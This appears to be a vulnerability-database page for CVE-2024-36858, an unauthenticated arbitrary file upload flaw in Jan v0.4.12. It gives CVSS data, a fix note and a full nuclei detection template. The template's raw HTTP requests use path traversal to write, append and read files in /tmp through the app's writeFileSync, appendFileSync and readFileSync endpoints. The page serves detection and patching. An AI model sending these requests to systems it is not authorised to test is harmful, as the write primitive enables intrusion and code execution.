Browse / CVEs / CVE-2024-36858
CVE-2024-36858· homebrew / jan· CWE-434
Jan v0.4.12 - Arbitrary File Upload
criticalseverity
9.8CVSS score
3%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it
An arbitrary file upload vulnerability in the /v1/app/writeFileSync interface of Jan v0.4.12 allows attackers to execute arbitrary code via uploading a crafted file.
Impact
Unauthenticated attackers can upload crafted files to execute arbitrary code on the server.
Fix
Update Jan to a version later than v0.4.12 that patches the arbitrary file upload vulnerability.
How to confirm it
Send: GET /
Positive when: contains(body,"<title>Jan</title>") and contains(content_type, 'text/html') and status_code == 200
Send: POST /v1/app/writeFileSync ; POST /v1/app/appendFileSync ; POST /v1/app/readFileSync
Positive when: status_code_1 == 200 && status_code_2 == 200 && status_code_3 == 200 and contains(body_3, "{{string}}")Run it with nuclei: nuclei -id CVE-2024-36858 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2024-36858
info:
name: Jan v0.4.12 - Arbitrary File Upload
author: pussycat0x
severity: critical
description: |
An arbitrary file upload vulnerability in the /v1/app/writeFileSync interface of Jan v0.4.12 allows attackers to execute arbitrary code via uploading a crafted file.
impact: |
Unauthenticated attackers can upload crafted files to execute arbitrary code on the server.
remediation: |
Update Jan to a version later than v0.4.12 that patches the arbitrary file upload vulnerability.
reference:
- https://github.com/HackAllSec/CVEs/blob/main/Jan%20AFR%20vulnerability/README.md
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-36858
cwe-id: CWE-434
epss-score: 0.03035
epss-percentile: 0.87612
cpe: cpe:2.3:a:homebrew:jan:0.4.12:*:*:*:*:*:*:*
metadata:
vendor: homebrew
product: jan
fofa-query: icon_hash="-165268926"
tags: cve,cve2024,totolink,unauth,intrusive,vkev,vuln
variables:
filename: "{{to_lower(rand_text_alpha(6))}}"
string: "{{rand_text_alpha(10)}}"
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body,"<title>Jan</title>")'
- "contains(content_type, 'text/html')"
- "status_code == 200"
condition: and
internal: true
- raw:
- |
POST /v1/app/writeFileSync HTTP/1.1
Host: {{Hostname}}
Referer: {{RootURL}}
contentType: application/json
Content-Type: text/plain;charset=UTF-8
Origin: {{RootURL}}
["/../../../../../tmp/{{filename}}.txt","{{randstr}}"]
- |
POST /v1/app/appendFileSync HTTP/1.1
Host: {{Hostname}}
Referer: {{RootURL}}
contentType: application/json
Content-Type: text/plain;charset=UTF-8
Origin: {{RootURL}}
["file:/../../../../../../tmp/{{filename}}.txt","{{string}}"]
- |
POST /v1/app/readFileSync HTTP/1.1
Host: {{Hostname}}
Referer: {{RootURL}}
contentType: application/json
Content-Type: text/plain;charset=UTF-8
Origin: {{RootURL}}
["file:/../../../../../../tmp/{{filename}}.txt","utf-8"]
matchers:
- type: dsl
dsl:
- 'status_code_1 == 200 && status_code_2 == 200 && status_code_3 == 200'
- 'contains(body_3, "{{string}}")'
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from